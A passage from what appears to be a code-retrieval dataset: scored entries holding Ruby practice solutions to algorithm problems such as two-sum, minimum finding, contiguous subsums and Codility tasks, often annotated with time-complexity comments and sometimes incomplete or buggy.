else\n sum += acc\n end\n\n return -1 if sum > 1000000000\n end\n\n sum\nend", "title": "" }, { "docid": "876b1577ae1ba612137db52a7a2ae711", "score": "0.60357356", "text": "def dec2FactString(nb)\n facts = []\n current = 1\n while nb > (fact = fact(current)) do # QUESTION: is this O(logn) or O(n)?\n facts << fact\n current += 1\n end\n\n result = []\n facts.reverse_each do |factorial|\n multiple = (nb/factorial).floor\n nb -= multiple*factorial\n result << code(multiple)\n end\n result.push(0).join\nend", "title": "" }, { "docid": "2515a311ba13d219cf876dac5434645c", "score": "0.6019759", "text": "def threesome_adv(input_array)\r\n\tarr = input_array\r\n\tlen = arr.length\r\n\tsum_hash = Hash.new\r\n\r\n\t(0..len-1).each do |index1| # first for loop\r\n\t\t(index1+1..len-1).each do |index2| # second for loop\r\n\t\t\tsumTwoElem = arr[index1] + arr[index2] # sum of 2 array values will be key in hash\r\n\t\t\tif not sum_hash.keys.include?(sumTwoElem) # check for duplicates in hash keys\r\n\t\t\t\tsum_hash[sumTwoElem] = [] # create the key\r\n\t\t\tend\r\n\t\t\tsum_hash[sumTwoElem] << [index1, index2] # append indices\r\n\t\tend\r\n\tend\r\n\r\n\t(0..arr.length-1).each do |index|\r\n\t\tarr_val = arr[index]\r\n\t\t# first if: check if hash contains key that's negative complement of array value\r\n\t\t# second if: check if indices are the same to avoid double use of array value\r\n\t\tif sum_hash.keys.include?(-arr_val) and not sum_hash[-arr_val].include?(index)\r\n\t\t\tputs true\r\n\t\t\treturn\r\n\t\tend\r\n\tend\r\n\tputs false\r\nend", "title": "" }, { "docid": "92946b9df716e5c3e932f5cf3c513c13", "score": "0.60171974", "text": "def solution(a)\n # write your code in Ruby 2.2\n sums = [nil]\n soln = 0\n\n currSum = 0\n a.each do |num,index|\n currSum += num\n sums.push currSum\n if currSum == 0\n soln += 1\n end\n end\n\n for i in (1...a.size) do\n x = a[i-1]\n for j in (i+1...a.size) do\n sums[j] = sums[j] - x\n soln += 1 if sums[j] == 0\n break if soln > 1000000000\n end\n break if soln > 1000000000\n end\n\n #if 0 exists in the array add [index,index]\n idx = a.index(0)\n soln += 1 if !(idx.nil?)\n\n soln > 1000000000 ? -1 : soln\n\nend", "title": "" }, { "docid": "e074cc89f39364348a3a6d14bb3013cd", "score": "0.6013071", "text": "def solution(m, a)\n tail, count, q = 0, 0, 0\n used = [-1] * (m + 1)\n a.each_with_index do |n, head|\n if used[n] == -1\n used[n] = head\n else\n new_tail = used[n] + 1\n q = head - tail\n r = head - new_tail\n count += q*(q+1)/2 - r*(r+1)/2\n i = tail\n used[a[i]] = -1 while i += 1 and i < new_tail\n used[n] = head\n tail = new_tail\n # puts \"used: #{used}, q: #{q}, r: #{r}\"\n end\n end\n q = a.length - tail\n count += q*(q+1)/2\n [count, 1000000000].min\nend", "title": "" }, { "docid": "13080714a25d11a8ff3932a231d9887a", "score": "0.6009719", "text": "def method_12478687(arr, i)\n # Simple first answer\n # Linear or O(n) behavior\n #arr.sort.each { |n| return n if n > i }\n\n # Logarithmic or O(log n) behavior\n # Divide-and-counquer algorithm\n #high, low = arr.partition { |n| n > i }\n #high.sort!\n #while high.first <= i\n # high, low = high.partition { |n| n > i }\n #end\n #high.first\n\n # Sort and select greater in the one iteration\n greater = 0\n arr.each do |n|\n next if n <= i\n if greater == 0 || n < greater\n greater = n\n end\n end\n greater\nend", "title": "" }, { "docid": "cacfcee9f4f36db314894b97089ed377", "score": "0.60058343", "text": "def example2()\n\tarr = 1.upto($limit).each_with_index.map {|index| if (divisorSum(index) > index + 1) then index end}.compact\n\t#arr.each_with_index { |n,index| if(n.nil? == false) then printf \"index %d = %d\\n\",index, n end }\n\t#p divisorSum(16)\n\t#p arr\n\t#arr = arr.product(arr)\n\t#arr2 = {}\n\tarr.sort\n\tarr2 = []\n\ti = 0\n\twhile (i < arr.length)\n\t\tj = 0\n\t\twhile(j < arr.length)\n\t\t#if(arr[i] + arr[j] <= $limit and arr2[arr[i] + arr[j]].nil? == false) then\n\t\t#\tarr2.merge(i => arr[i] + arr[j])\n\t\t#end\n\t\tif(arr[i] + arr[j] <= $limit) then\n\t\t\tarr2.push(arr[i] + arr[j])\n\t\telse\n\t\t\tbreak\n\t\tend\n\t\tj = j +1\n\t\tend\n\t\ti = i + 1\n\tend\n\tarr2 = arr2.uniq!\n\tp arr2\n\t#p \"---------------------\"\n\t#arr = arr.map {|mylist| mylist.reduce(:+) }.uniq!\n\ttotal = 0\n\t1.upto($limit) do |index|\n\t\tif(arr.include?(index) == false) then\n\t\t\ttotal = total + index\n\t\t\t#p index\n\t\tend\n\tend\n\ttotal\nend", "title": "" }, { "docid": "c11c0362d3fc52907ab88c5759edd215", "score": "0.599048", "text": "def okay_two_sum?(arr, target)\n merge_sort(arr) #==> time nlogn space nlogn\n\n\nend", "title": "" }, { "docid": "70e4778e3c82d210e8e4db513ad99f11", "score": "0.59792686", "text": "def two_sum?(arr, target_sum) #! O(n) \n h = Hash.new()\n arr.each do |ele|\n return true if !h[target_sum - ele].nil?\n h[ele] = true #{0=>true, 1=>true }\n end\n false\nend", "title": "" }, { "docid": "776e1e575ed5bf61222252f083ea2762", "score": "0.59663445", "text": "def my_min_two(arr)\n\n min = arr.first # O(1)\n (1...arr.length).each do |idx| # O(n)\n ele = arr[idx] # O(1)\n if ele < min # O(1)\n min = ele # O(1)\n end\n end\n min #O(1)\nend", "title": "" }, { "docid": "369faf5bab4f52230e0f993b5e42ce07", "score": "0.59562534", "text": "def find_duplicate(nums)\n slow = nums.size\n fast = nums.size\n \n begin\n slow = nums[slow - 1]\n fast = nums[nums[fast - 1] - 1]\n end while slow != fast\n \n slow = nums.size\n \n while slow != fast\n slow = nums[slow - 1]\n fast = nums[fast - 1]\n end \n \n slow\nend", "title": "" }, { "docid": "cb6463e088c265277f4e34f13c4357ac", "score": "0.5953071", "text": "def crossing1() #O=N**2\n p Time.now\n #a = read(\"crossing.txt\")\n a = read(\"smpl.txt\")\n cross = 0\n for i in 0...a.length\n for j in 0...i\n if a[i] < a[j]\n cross+=1\n end\n end\n end\n p Time.now\n return cross\nend", "title": "" }, { "docid": "4a508141929402755c08c3a7697315dd", "score": "0.5937769", "text": "def two_sum?(arr, target) # O(n)\n hash = Hash.new(0)\n arr.each { |num| hash[num] += 1}\n arr.each do |num|\n diff = target - num\n hash[num] -= 1\n return true if hash[diff] > 0\n end\n\nend", "title": "" }, { "docid": "35c1fdbbf3eca5625d8610e7e62d07e9", "score": "0.5933181", "text": "def best_two_sum?(arr, target_sum) # O(n)\n hash = Hash.new\n arr.each_with_index do |u, i|\n return true if hash.has_key?(target_sum - u) \n hash[u] = i unless hash.has_key?(u) \n end \n false \nend", "title": "" }, { "docid": "71717adc8c5eda00481e2b235e910283", "score": "0.5921665", "text": "def intersection(array1, array2)\n if array1 == nil || array2 == nil\n intersection_array = []\n else\n if array1.length < array2.length\n smaller_array = array1\n larger_array = array2\n else\n smaller_array = array2\n larger_array = array1\n end\n\n intersection_array = [] # s.c = O(n)\n small_hash = Hash.new() # s.c = O(n)\n\n # t.c. = O(n)\n smaller_array.each do |num|\n small_hash[num] = 1\n end\n\n # t.c. = O(m)\n larger_array.each do |num|\n if small_hash.include? num\n intersection_array << num\n end\n end\n\n return intersection_array\n end\nend", "title": "" }, { "docid": "a2ba808e6ff0401483e3cb8c3d9eac49", "score": "0.59197146", "text": "def my_min_phase2(list)\n min = list.first \n list.each do |el1| #O(n)\n if el1 < min\n min = el1\n end\n end\n min\nend", "title": "" }, { "docid": "a31a2f6b441fe09b0bbc829d05e75aaa", "score": "0.59103525", "text": "def okay_two_sum?(arr, target)\n arr.sort! # O(n*log(n))\n arr.each_with_index do |ele, i| #O(n)\n new_target = target - ele #O(1)\n # new_array = arr[0...i]+ arr[i+1..-1] #O(n)\n \n found? = bsearch(arr, new_target) \n return true if found?\n end\n false\nend", "title": "" }, { "docid": "d8dacb5fc4fc1e05838533b0a605215a", "score": "0.59102106", "text": "def solution(a)\n # write your code in Ruby 2.2\n # max 100,000 elements, so don't care about >100,000 vals# also don't care about negatives\n a.delete_if{ |x| x < 0 || x > 100000 }\n # likely decreased the number of elements so might as well limit the number of loops necessary\n # could also do .uniq here to potentially decrease it further, but I think that's unnecessary\n max_count = a.size\n \n # keep track of elements via keys in a hash\n included_vals = {}\n a.each do |element|\n included_vals[element.to_s] ||= true\n end\n 1.upto(max_count+1).each do |i|\n return i unless included_vals[i.to_s]\n end\n \nend", "title": "" }, { "docid": "017bc001d930ec7de9d0a2e7ba32b85c", "score": "0.590879", "text": "def merge_arrays(my_array, alices_array) \n\t# This answer gives us O(n lg n)\n\tnew_array = my_array + alices_array\n\treturn new_array.sort\n\nend", "title": "" }, { "docid": "803ddb77c208610ac4827e994b451008", "score": "0.5905371", "text": "def better_two_sum(arr, target)\n sorted = arr.sort #n log n\n sorted.each do |ele|\n dif = target - ele\n return true if sorted.bsearch{|x| x == dif}\n end\n false\nend", "title": "" }, { "docid": "00ee2a773f8c3653a5307eecd31539c8", "score": "0.5905071", "text": "def solution(a)\n check_array = a.group_by{|n| n }\n (1..100001).each do |idx|\n return idx unless check_array[idx]\n end\nend", "title": "" }, { "docid": "df8d9c84dda42cfe0c877004dd941355", "score": "0.5890855", "text": "def running_time(arr)\n # write your code here\n count = 0\n for i in 1..(arr.length - 1)\n value = arr[i]\n j = i \n while j > 0 && arr[j-1] > value\n arr[j] = arr[j-1]\n j -= 1\n count += 1\n end\n arr[j] = value\n end\n count\nend", "title": "" }, { "docid": "0479159b40963564bcb2e5a70b22e9f7", "score": "0.5874095", "text": "def twoSums(arr)\ni=0\n\twhile i<(arr.count-2)\n\t\tj=i+1\n\t\twhile j<(arr.count-1)\n\t\t\tif (arr[i]+arr[j]) == 0\n\t\t\t\tset = [arr[i],arr[j]]\n\t\t\t\treturn set\n\t\t\tend\n\t\tj+=1 \n\t\tend\n\ti+=1\n\tend\nend", "title": "" }, { "docid": "ea3598feb04269e3e5c2934d8f1a95f8", "score": "0.5869311", "text": "def find_sum_numbers(list, sum)\n hash = {}\n\n count = 0\n\n list.each do |num| #O(n) - time\n hash[num] = true\n end\n\n hash.each_key do |key|\n pair = sum - key #100 - 97 => 3 look for 3 in the hash\n if hash[pair] # O(1) - time\n count += 1\n #hash.delete(key) #if delete, then there is only 1 set, no need to return /2\n end\n end\n return count/2\nend", "title": "" }, { "docid": "1b5a76d10c2f7ceb053150a389408fae", "score": "0.58692896", "text": "def test(a)\n hash ={}\n val = []\n\n for i in 0..(a.size-1)\n for j in i..(a.size-1)\n sum = a[i] + a[j]\n if hash.include? sum\n val << hash[sum] + (i, j)\n else\n hash[sum] = [i, j]\n end\n end\n hash\n end\n val\nend", "title": "" }, { "docid": "de272bdc8219a04c3e808b2c7e5c0d60", "score": "0.5861027", "text": "def largest_contiguous_subsum2(arr)\n start = Time.now\n# code to time\n\n\n\n return arr.max if arr.none? { |ele| ele >= 0 }\n \n largest = arr.first\n current = arr.first\n arr.drop(1).each do |ele|\n current += ele\n current = 0 if current < 0\n if current > largest\n largest = current\n end\n end\n largest\n finish = Time.now\n diff = finish - start\n p diff\n \n \nend", "title": "" }, { "docid": "739c8257e3b26c4d651fdd5dd712c849", "score": "0.58566386", "text": "def find_dissappeared_numbers(nums)\n nums.each_with_index do |num, i|\n nums[num - 1] += 1_000_000 if nums[num - 1] < 1_000_000\n end\n\n res = []\n nums.each_with_index do |num, i|\n if num < 1_000_000\n res << (i + 1)\n end\n end\n\n nums.each_with_index do |num, i|\n if num > 1_000_000\n nums[i] -= 1_000_000\n end\n end\n\n res\nend", "title": "" }, { "docid": "bfc40413fb864f3812040d39bc6ab746", "score": "0.5854254", "text": "def my_min(list) # O(n^2)\n min = list.first # 1\n list.each_with_index do |ele_1, i| # n\n list.each_with_index do |ele_2, j| # n\n min = ele_2 if ele_2 < min && j > i # 1\n end\n end\n return min # 1\nend", "title": "" }, { "docid": "31355426dbb55bf18ba7aad5f3fe3519", "score": "0.58405054", "text": "def my_min2(list) #Time complexity is O(n)\r\n list.inject {|acc, ele| ele < acc ? ele : acc}\r\nend", "title": "" }, { "docid": "855a55b7301e7286dd66d3d26709d17e", "score": "0.58372325", "text": "def problem_94\n py = lambda do |m,n|\n [m*m-n*n,2*n*m,m*m+n*n]\n end\n\n m,n,used = 2,1,0\n t,tt,r = 0,0,nil\n loop do\n r = py.call(m,n).sort\n if (r[2] - r[0]*2).abs == 1\n tt = r[2]*2 + r[0]*2\n puts \"#{m} #{n} #{r.inspect} circ=#{tt}\"\n used += 1\n if used == 2\n n = m\n used = 0\n end\n t += tt\n return(t-tt) if t > 1_000_000_000\n end\n m += 1\n end\nend", "title": "" }, { "docid": "192bcf9450a22572062e7fbfe23813f8", "score": "0.58250517", "text": "def two_sum?(arr, target_sum) #O(n)\n complements = {}\n\n arr.each do |el|\n return true if complements[target_sum - el]\n complements[el] = true\n end\n\n false\nend", "title": "" }, { "docid": "41268aff6b061336cdc9037c85f3e61e", "score": "0.5824935", "text": "def largest_contiguous_subsum2(arr)\n global = arr.first\n\n (0...arr.length).each do |i| # O(n)\n global = arr[i] if arr[i] > global #O(1)\n cur = arr[i..-1].sum #O(n)!!!\n global = cur if cur > global #O(1)\n if i > 0 #0(1)\n cur = arr[0..-i].sum\n global = cur if cur > global #O(1)\n end\n end\n\n global\nend", "title": "" }, { "docid": "72fa899102c258037694540f9f1f4414", "score": "0.58217573", "text": "def zaprzyjaznione(n)\n tab = []; (1..n).to_a.each {|x| a = suma_dzielnikow(x); b = suma_dzielnikow(a); tab.push([a,b].sort()) if (x == b) and (x!=a)}; tab.uniq\nend", "title": "" }, { "docid": "79fdde445c7a493cfe3afe2b20030632", "score": "0.58213615", "text": "def two_sum_more_improved(nums, target)\n nums_hsh = Hash.new\n nums.each_with_index do |n, i|\n nums_hsh[n] = i\n end\n for i in (0...nums.length)\n first = nums[i]\n second = target - first\n if nums_hsh.include?(second) && nums.index(second) != i\n j = nums.index(second)\n return [i, j]\n end\n # nums_hsh[first] = i \n end\n return [0, 0]\nend", "title": "" }, { "docid": "7b04dd65acad56caf34a9411ae237578", "score": "0.5815757", "text": "def perfect_two_sum?(arr, target_sum)\n complements = {}\n arr.each_with_index do |el, i| # O(N)\n complement, _ = complements[target_sum - el] # O(1)\n return true if complement # O(1)\n complements[el] = [el, i] # O(1)\n end\n false\nend", "title": "" }, { "docid": "136a29e54b559da66ff92b5c59aca492", "score": "0.5814457", "text": "def my_min_one(arr)\n\n # best case = O(n)\n # worse case = O(n^2)\n \n arr.each do |ele1| # O(n) \n if arr.all? { |ele2| ele1 <= ele2 } # O(n)\n return ele1 # O(1)\n end\n end\n false\nend", "title": "" }, { "docid": "e66dd7cf3d73b2b132fede1296afdf3d", "score": "0.58111984", "text": "def my_min(list) # O(n)\n min = list.first # 1\n list.each do |ele| # n \n min = ele if ele < min # 1 \n end\n min # 1\nend", "title": "" }, { "docid": "4be98dbc6585c8eed001739391ef1384", "score": "0.58095443", "text": "def solution(a)\n # write your code in Ruby 2.2\n \n event = Hash.new{|h,k| h[k] = {:start => 0, :stop => 0}}\n\t\n a.each_index {|i| \n event[i - a[i]][:start] += 1\n event[i + a[i]][:stop ] += 1\n } \n \n sorted_events = (event.sort_by {|index, value| index}).map! {|n| n[1]}\n \n past_start = 0 \n intersect = 0 \n sorted_events.each {|e| \n intersect += e[:start] * (e[:start]-1) / 2 + \n e[:start] * past_start \n past_start += e[:start] \n past_start -= e[:stop]\n \n if intersect > 10_000_000 then\n return -1\n end\n } \n return intersect\nend", "title": "" }, { "docid": "cbae4c1508d3e608a257c7786afdfa1e", "score": "0.58029187", "text": "def z_algorithm(s)\n n = s.size\n return [] if n == 0\n \n z = [0]*n\n z[0] = n\n i, j = 1, 0\n while i < n\n j += 1 while i+j<n && s[j]==s[i+j]\n z[i] = j\n if j == 0 then\n i += 1\n next\n end\n k = 1\n while i+k<n && k+z[k]<j\n z[i+k] = z[k]\n k += 1\n end\n i += k\n j -= k\n end\n return z\nend", "title": "" }, { "docid": "e8dd4b022bb990b6c834f14602c975cc", "score": "0.5802559", "text": "def solution(a)\n uniq_array = a.uniq\n real_count = 0\n a.each_with_index do |e,i|\n dest_count = 0\n check_array = []\n\n j = i + 1\n while(j<a.count && uniq_array.count != check_array. count)\n dest_count +=1\n unless check_array.include?a[j]\n check_array.push(a[j]) \n end\n end \n real_count = dest_count if real_count < dest_count\n end\n return real_count \nend", "title": "" }, { "docid": "c4965a1ca289cd15ddbb0bec74d3b72a", "score": "0.5791665", "text": "def big_O_N_squared_duplicates(unsorted_numbers)\n\n unsorted_numbers.each.with_index do |x, iX|\n unsorted_numbers.each.with_index do |y, iY|\n # Don't check the same indexes against each other\n unless iX == iY\n if x == y\n # Return True we found a match\n return true\n end\n end\n end\n end\n # No Matches\n false\nend", "title": "" }, { "docid": "74a2292e32df95d0298376a55dffc2d3", "score": "0.57880795", "text": "def prefixSums(a, n)\n j = n - 1\n while j >= 0\n sum = 0\n i = 0\n while i <= j\n sum += a[i]\n i += 1\n\tend\n a[j] = sum\n j -= 1\n end\nend", "title": "" }, { "docid": "b126ccdd541b61cb43a9040e71c8d52d", "score": "0.578774", "text": "def fast_solution(m, a)\n multiples = 0 # number of #'s in freq that occur >= 2 times\n\n back = distinct = 0\n freq = Hash.new(0)\n a.each_with_index do |elem, front|\n puts \"back: #{back}, front: #{front}, elem: #{elem}, a[#{back}..#{front}]: #{a[back..front]}\"\n\n freq[elem] += 1\n multiples += 1 if freq[elem] > 1\n\n puts \"freq: #{freq}, multiples: #{multiples}\"\n while multiples > 0\n # Move back index forward 1 step. \n # Have we gotten rid of the element that gave us multiple > 1?\n # Does our (back, front) slice still have multiples?\n freq[a[back]] -= 1\n multiples -= 1 if freq[a[back]] == 1\n back += 1\n\n puts \"freq: #{freq}, multiples: #{multiples}, back: #{back}, front: #{front}, a[#{back}..#{front}]: #{a[back..front]}\"\n end\n distinct += front - back + 1\n puts \"distinct: #{distinct}\"\n end\n [distinct, MAX_SLICES].min\nend", "title": "" }, { "docid": "833ecef7188a1e8cf1e813b867d0591f", "score": "0.57853234", "text": "def solve1\n # 1.997s under MRI 1.8\n # 0.771s under MRI 1.9\n # 1.919s under jruby\n puts (1..10000).to_a.select { |n| n.amicable? }.sum\nend", "title": "" }, { "docid": "67b9ef53ec11d2afb99c8f85cfeb3a19", "score": "0.5784947", "text": "def lcs(array) #O(n^3)\r\n subs = []\r\n (0...array.length).each do |i|\r\n (i+1...array.length).each do |j|\r\n subs << array[i..j]\r\n end\r\n end\r\n\r\n subs.map(&:sum).max\r\nend", "title": "" }, { "docid": "e4bf969521382732ac79be40ffa78c87", "score": "0.57830083", "text": "def solution(a)\r\n ones=0\r\n temp=0\r\n ans=0\r\n for i in 0...a.size\r\n if a[i]==1\r\n ones+=1\r\n end\r\n end\r\n \r\n for i in 0...a.size\r\n if a[i]==1\r\n temp+=1\r\n else\r\n ans+=(ones-temp)\r\n end\r\n end\r\n \r\n if ans>1000000000\r\n return -1\r\n else\r\n return ans\r\n end\r\n \r\n \r\nend", "title": "" }, { "docid": "f2ed3d566a2141c44894258397e2c392", "score": "0.5771656", "text": "def okay_two_sum?(arr, target_sum)\n arr.sort! # O(n log n)\n arr.each.with_index do |ele,i| # O(n log n)\n target = target_sum - ele \n res = b_search(arr[0...i] + arr[i+1..-1], target) # exclude the current ele\n return true unless res.nil?\n end\n false \nend", "title": "" }, { "docid": "ab4e79c7e14a2e995c2093c807f432c7", "score": "0.57565016", "text": "def removeDuplicates(nums)\n if nums.nil? then\n 0\n elsif nums.size<2 then\n nums.size\n else\n slow = fast = 1\n while fast<nums.size do\n if not nums[fast]==nums[fast-1] then\n nums[slow] = nums[fast]\n slow += 1\n end\n fast += 1\n end\n slow\n end\nend", "title": "" }, { "docid": "2a2ebe1a1fd9954758a8da36e30eb649", "score": "0.5754762", "text": "def two_sum?(arr, target_sum) #O(n)\n hash = {}\n arr.each do |n| #O(n)\n diff = target_sum - n\n return true if hash.has_key?(diff)\n hash[n] = :true\n end\n false\nend", "title": "" }, { "docid": "dd942fdcb9333d9fc57df0e3dbe48df7", "score": "0.57531494", "text": "def solution(a)\n a.uniq.count \nend", "title": "" }, { "docid": "930f889cd7f4a11f856b11aec3732ae8", "score": "0.57486033", "text": "def best_two_sum?(arr,target_value)\n #O(n)\n hashm=arr.inject(Hash.new {0}) {|acc,ele| acc[ele]+=1;acc}\n #O(n)# because has_key? is O(1) as get methods are and looping through each key\n hashm.any? {|k,v|hashm.has_key?(target_value-k) && target_value-k!=k || target_value-k==k && v>1}\n\nend", "title": "" }, { "docid": "06e9c241978fdc905049c6eadcee30e9", "score": "0.57463753", "text": "def find_sum(first, sorted_array, i)\n \n # Declare and initialize the j before the while loop as the final index of the sorted_array\n j = sorted_array.size-1\n \n # A while loop to check from both the start of the array and from the end of the array\n while i<=j\n # Binary search condition to reduce the iteration time\n if first+sorted_array[(i+j)/2] < -10000 and j-1!=i and j != i\n i = (i+j)/2\n # Handles both indexes i and j such that there wont be an infinite loop when \n elsif first+sorted_array[(i+j)/2] > 10000 and j-1!=i and j != i\n j = (i+j)/2\n # The above binary search algorithm has reduced most of the work that needed to be done\n # Hence a plain iterative algor now will find the rest of the distinct y values needed \n # Increments the index i until the lower limit of the range required is found\n elsif first+sorted_array[i] < -10000\n i+= 1\n # Decrements the index j until the upper limit of the range required is found \n elsif first+sorted_array[j] > 10000\n j-= 1\n # From here on, all the values of a+b = y are values that fit into the condition\n # Carry out all deletion of the keys which are values of the valid y\n # Hash will return nil if key is not found\n else\n # Another while loop to purely just delete every key found\n # Reason: To skip the above two condition check that can cause additional run time\n while i<=j\n $hash_of_y.delete first+sorted_array[i]\n $hash_of_y.delete first+sorted_array[j] \n i+=1\n j-=1\n end\n\n end\n\n end\n\n end", "title": "" }, { "docid": "8ef6244693c6fbfc90e6f577f979c50f", "score": "0.5739387", "text": "def largest_contiguous_subsum_one(list)\n arr = []\n\n list.each_with_index do |ele, idx| # O(n)\n (idx...list.length).each do |idx2| # O(n)\n arr << list[idx..idx2] # O(1)\n end\n end\n\n largest_subsum = 0 # O(1)\n arr.each do |subarr| # O(n^2)\n sub_sum = subarr.sum # O(1)\n if sub_sum > largest_subsum # O(1)\n largest_subsum = sub_sum # O(1)\n end\n end\n largest_subsum # O(1)\nend", "title": "" }, { "docid": "34bb22d67172d67e9efc8d66197faba4", "score": "0.5735179", "text": "def largest_contiguous_subsum_2(arr)\n largest_sum = arr.first\n largest_index = 0\n arr.each_with_index do |el,i| #O(n)\n if el > largest_sum\n largest_sum = el \n largest_index = i\n end\n end\n new_arr = arr[0...largest_index] + arr[largest_index+1..-1] #O(2n)or#O(n)\n \n new_arr.each do |el| #O(n)\n temp_sum = el + largest_sum\n largest_sum = temp_sum if temp_sum > largest_sum\n end\n largest_sum\nend", "title": "" }, { "docid": "b610d2c664f8f0d4a183485fcb45a142", "score": "0.5730017", "text": "def better_two_sum?(arr, target)\n arr = arr.sort #nlogn\n arr.each_with_index do |ele , i |\n newarr=arr[0...i] + arr[i+1..-1]\n return true if newarr.bsearch_index{|ele2| target <=> ele2+ele }\n end\n false\nend", "title": "" }, { "docid": "3e2ab6fa6f3d3048b22cce926a94dabe", "score": "0.57224", "text": "def improving_complexity_version_one(*arrays)\n combined_array = []\n arrays.each do |array|\n if array != []\n combined_array << array\n end\n end\n\n sorted_array = [combined_array.delete_at(combined_array.length - 1)]\n\n for val in combined_array\n i, len = 0, sorted_array.length\n while i < len\n if val <= sorted_array[i]\n sorted_array.insert(i, val)\n break\n elsif i == len - 1\n sorted_array << val\n break\n end\n i += 1\n end\n end\n sorted_array\nend", "title": "" }, { "docid": "a9dc25cf4af7567e1a64bd10e1bd8ec2", "score": "0.5721576", "text": "def okay_two_sum?(arr, target) # O(nlogn)\n new_arr = arr.sort\n #hardcode lol\n return false if target < new_arr.first || target > new_arr.last\n new_arr.each_with_index do |el, idx| # O(n)\n new_arr.delete_at(idx)\n # times O(log(n)) == O(nlog(n))\n return true if new_arr.binary_search(target - el)\n end\n false\nend", "title": "" }, { "docid": "57a6a85e87398ed3158dc08d4affa40d", "score": "0.5721258", "text": "def contiguous_2(arr) # Time complexity = 0(n)\r\n # return arr.max if arr.all? {|el| el < 0}\r\n max = arr.first\r\n temp = arr.first\r\n\r\n (1...arr.length).each do |i|\r\n temp = 0 if temp < 0\r\n temp += arr[i]\r\n max = temp if temp > max\r\n end\r\n\r\n max\r\nend", "title": "" }, { "docid": "89658e6179940a05a92ba4fa083c891e", "score": "0.57205844", "text": "def my_min_2(list) #O(n)\n min = list[0]\n list[1..-1].each do |ele|\n min = ele if ele < min\n end\n min\nend", "title": "" }, { "docid": "48b6ad403f38fa9728b8a60095d602da", "score": "0.57204753", "text": "def lcs_fast(list)\n local_sum = 0\n global_sum = 0\n list.each do |ele|\n local_sum += ele\n if local_sum > global_sum\n global_sum = local_sum\n end\n if local_sum < 0\n local_sum = 0\n end\n end\n global_sum\nend", "title": "" }, { "docid": "3213354fc7b3a88a9146b3558a888799", "score": "0.57163036", "text": "def big_O_N_linear_search(unsorted_numbers, number)\n\n unsorted_numbers.each do |n|\n # Return True if n is our number\n return true if n == number\n end\n\n # Return False as we didnt' find number\n false\nend", "title": "" }, { "docid": "f4d134a9ea7a3f6422eefb08f04390bc", "score": "0.5715208", "text": "def clever_octopus(fish)\n # Only a single dominant loop which make the algorithm O (n)\n big_fish = fish[0]\n (1...fish.length).each do |idx|\n if big_fish.length < fish[idx].length\n big_fish = fish[idx]\n end\n end\n big_fish\nend", "title": "" }, { "docid": "5ede4b3b32110044740136c9f5de630f", "score": "0.57118374", "text": "def solution2(a)\n uniq_a = {}\n a.each do |n|\n uniq_a[n] = true\n end\n uniq_a.size\nend", "title": "" }, { "docid": "ba45c54e0e93b61df11a30895aba7b72", "score": "0.570991", "text": "def sluggish_octopus(arr) #finding the longest fish in O(n^2) time\r\n longest_fish = \"\"\r\n arr.each do |fish|\r\n arr.each do |fish2|\r\n longest_fish = fish2 if fish2.length >= fish.length && fish2.length >= longest_fish.length\r\n end\r\n end\r\n longest_fish\r\nend", "title": "" }, { "docid": "81f921443e8f2f386919f07ecab3ee48", "score": "0.57058775", "text": "def count_occurances(array, element)\n first = binary_search(array, array.size, element) # Time complexity: O(logn)\n unless first == -1\n last = binary_search(array, array.size, element, false) # Time complexity: O(logn)\n return count = last - first + 1\n end\n return 0\nend", "title": "" }, { "docid": "b5af980b927b85b04312524521ebca26", "score": "0.57056373", "text": "def largest_contiguous_subsum1(list)\n # space & time n^3\n sub_sums = [] # space N^3\n [1 2 3]\n (0...list.length).each do |i|\n sub_sums << [list[i]]\n (i+1...list.length).each do |j|\n sub_sums << list[i..j] # O(n)\n end\n end\n # debugger\n (1...sub_sums.length).inject(sub_sums[0].sum) { |acc, el| sub_sums[el].sum > acc ? sub_sums[el].sum : acc } # n^3\nend", "title": "" }, { "docid": "3c1976af0664d8a8bb63bb93f197ba23", "score": "0.5705453", "text": "def ntime(arr)\n best = arr.shift\n arr.each do |fish|\n best = fish if fish.length > best.length\n end\n best\nend", "title": "" }, { "docid": "d342d82e565fe2eefb267643b543468f", "score": "0.5703303", "text": "def solution(a)\n hash = {}\n a.each { |v| \n hash[v] = true\n }\n\n i = 1\n while true\n return i if not hash[i]\n i += 1\n end\nend", "title": "" }, { "docid": "7b2764f755ffb2f2e41d28dfcd704c94", "score": "0.5701283", "text": "def find_duplicate(nums)\n return -1 if nums.empty?\n\n slow = nums[0]\n fast = nums[nums[0]]\n while fast != slow\n slow = nums[slow]\n fast = nums[nums[fast]]\n end\n\n slow = 0\n while slow != fast\n slow = nums[slow]\n fast = nums[fast]\n end\n\n fast\nend", "title": "" }, { "docid": "cb9cc6a44e9b6bf3c00bd94b5e23bbfe", "score": "0.57012814", "text": "def contiguous(arr) # Time complexity = 0(n^4)\r\n sub_arrays = []\r\n max = 0\r\n (0...arr.length).each do |i|\r\n (i...arr.length).each do |j|\r\n sub_arrays << arr[i..j]\r\n sub_arrays.each do |sub|\r\n max = sub.sum if sub.sum > max\r\n end\r\n end\r\n end\r\n max\r\nend", "title": "" }, { "docid": "7c341432fa7294e71154b72e87bcc162", "score": "0.56991357", "text": "def problem_75\n p3 = lambda do |m,n|\n raise \"bad value\" if m == n\n m,n = n,m if m < n\n mm = m*m\n nn = n*n\n [mm - nn, 2*m*n, mm + nn]\n end\n\n max = 1_500_000\n upto = Math.sqrt(max/2).to_i\n# upto = max\n hits = Hash.new\n\n (1..upto).each do |x|\n hit = 0\n y = x + 1\n ((x+1)..(upto+1)).each do |y|\n next unless (x+y).odd?\n a,b,c = p3.call(x,y).sort\n d = a+b+c\n if d <= max\n k = 1\n begin\n hits[d*k] ||= {}\n hits[d*k][[a*k,b*k,c*k].sort.join(\"-\")] = true\n hit += 1\n k += 1\n end while d*k <= max\n else\n break\n end\n end\n puts \"for x = #{x}, #{hit} hits\"\n end\n puts hits.length\n h = hits.select {|k,v| v.length == 1}\n h.length\nend", "title": "" }, { "docid": "d2584d82add74e0458ba714bceabd6bb", "score": "0.56978244", "text": "def largest_contiguous_subsum_2(list) #O(n)\n largest = list.first\n current_sum = list.first\n max = list.first\n\n (1...list.length).each do |i|\n if current_sum + list[i] > list[i]\n largest = current_sum + list[i] \n current_sum += list[i]\n else\n largest = list[i]\n current_sum = list[i]\n end\n max = largest if largest > max \n end\n max\n\nend", "title": "" }, { "docid": "840aca6001776aee379730098c8b96f0", "score": "0.5696025", "text": "def sum_of_two(arr, t)\n\n hash = Hash.new\n\n # for i in 0..arr.size-1\n # if hash.has_key?(arr[i])\n # partner_index = hash[arr[i]]\n # return [partner_index, i]\n # else\n # diff = t - arr[i]\n 